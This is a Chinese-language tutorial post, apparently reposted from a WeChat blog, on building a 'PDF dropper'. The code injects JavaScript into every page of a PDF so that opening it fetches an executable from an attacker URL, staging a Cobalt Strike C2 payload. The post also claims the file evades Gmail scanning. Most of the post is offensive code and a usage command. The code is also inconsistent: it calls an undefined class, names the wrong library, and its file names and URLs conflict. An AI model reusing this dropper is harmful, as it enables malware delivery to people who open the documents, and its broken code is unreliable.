介绍
PDF 文件通常被大多数人视为静态文档。但是,PDF 标准允许在文档中执行 JavaScript 代码。此功能提供了可用于红队测试和网络安全研究的各种攻击媒介。在本文中,我们将研究如何将 JavaScript 注入 PDF 文件以从特定 URL 下载文件并使用此方法建立命令和控制 (C2) 连接。
要使用的工具和方法
在本文中,我们将使用以下工具注入恶意代码并创建 PDF 投放器:
-
Python:创建和操作 PDF 文件。
-
fpdf2 库:将 JavaScript 添加到 PDF 文件。
-
Cobalt Strike Payload 用于 C2 连接:建立连接。如果您愿意,可以使用其他 C2 或 RAT。
将 JavaScript 添加到 PDF 文件
JavaScript 可用于 PDF 文件中的各种用途。但是,与 HTML 和网页中的 JavaScript 相比,PDF 文件中 JavaScript 的功能更为有限。出于安全原因,浏览器和 PDF 查看器会限制 PDF 中 JavaScript 的访问区域。不过,我们可以在这些限制内执行某些操作。
创建 PDF Dropper
要将恶意代码添加到 PDF 文件并从特定 URL 下载文件,我们可以按照以下步骤操作:
步骤 1:安装所需的 Python 库
首先,我们需要安装所需的 Python 库。我们将使用 fpdf2 库来创建和操作 PDF 文件。
pip install fpdf2
步骤 2:向 PDF 添加 JavaScript 代码
以下 Python 代码允许您将 JavaScript 添加到 PDF 文件以从特定 URL 下载文件。
> adobecodeinject.py 文件
from core import *
from core.imp import *
class AdobeCodeInject():
def __init__(self, target_url: str) -> None:
self.target_url = target_url
def _make_action(self) -> DictionaryObject:
js_code = f"""
try {{
app.launchURL('{self.target_url}', true);
}} catch (e) {{
app.alert('Error: ' + e.message);
}}
"""
return DictionaryObject({
NameObject("/S"): NameObject("/JavaScript"),
NameObject("/JS"): TextStringObject(js_code),
})
def _make_annot(self, rect: RectangleObject, action: IndirectObject) -> DictionaryObject:
annot = DictionaryObject({
NameObject("/Type"): NameObject("/Annot"),
NameObject("/Subtype"): NameObject("/Widget"),
NameObject("/Rect"): rect,
NameObject("/FT"): NameObject("/Btn"),
NameObject("/T"): TextStringObject("Open URL"),
NameObject("/Ff"): NumberObject(4),
NameObject("/A"): action,
})
return annot
def exploit(self, pdf: Pdf):
action = self._make_action()
for p in pdf.pages:
arct = p.artbox
if not isinstance(arct, RectangleObject):
arct = p.mediabox
if not isinstance(arct, RectangleObject):
arct = p.bleedbox
print(f"{p.page_number} use arct: {arct}")
annot = self._make_annot(arct, pdf.add_object(action))
pdf.add_annotation(p, annot)
>主脚本文件(main.py)
您可以按如下方式使用主脚本文件:
#! ./.venv/bin/python3
import argparse
import sys
import os
sys.path.append(os.path.dirname(os.path.abspath(__file__)))
from core import Pdf
from adobecodeinject import AdobeCodeInject
def run():
parser = argparse.ArgumentParser(prog='pdf-exploit')
parser.add_argument("-f", help="the harmless pdf path", required=True)
parser.add_argument("-p", help="password", required=False)
parser.add_argument("-o", help="the new pdf file", required=True)
chrome_group = parser.add_argument_group(
title="chrome", description="Chrome PDF exploit using JavaScript")
chrome_group.add_argument("-downloadUrl", dest="downloadUrl", required=True)
args = parser.parse_args()
pdf = Pdf(args.f, args.p)
if args.downloadUrl:
print(f"[+] use the Chrome PDF exploit: {args.downloadUrl}")
exp = ChromePdfExploit(args.downloadUrl)
exp.exploit(pdf)
print("")
print(f"[+] store to {args.o}")
pdf.store(args.o)
if __name__ == "__main__":
run()
创建和测试 PDF 文件
您可以使用以下命令创建 PDF 文件:
python main.py -f original.pdf -o exploit.pdf -downloadUrl http://yourserver/malicious.exe
当您在 Adobe Acrobat 中打开exploted.pdf文件时,它会在打开PDF时从http://localhost/test.exe下载该文件。此方法对于Adobe Acrobat软件特别有效。
此方法甚至可以使 Gmail 将文件扫描为常规 PDF。
情景视频
在下面的视频中,您可以看到该场景是如何运作的:
源代码
您可以在 GitHub 上找到完整的代码:GitHub Repository https://github.com/0x6rss/pdfdropper
感谢您抽出
.
.
来阅读本文
点它,分享点赞在看都在这里
原文始发于微信公众号(Ots安全):Cobalt Strike 有效负载将恶意 JavaScript 注入 PDF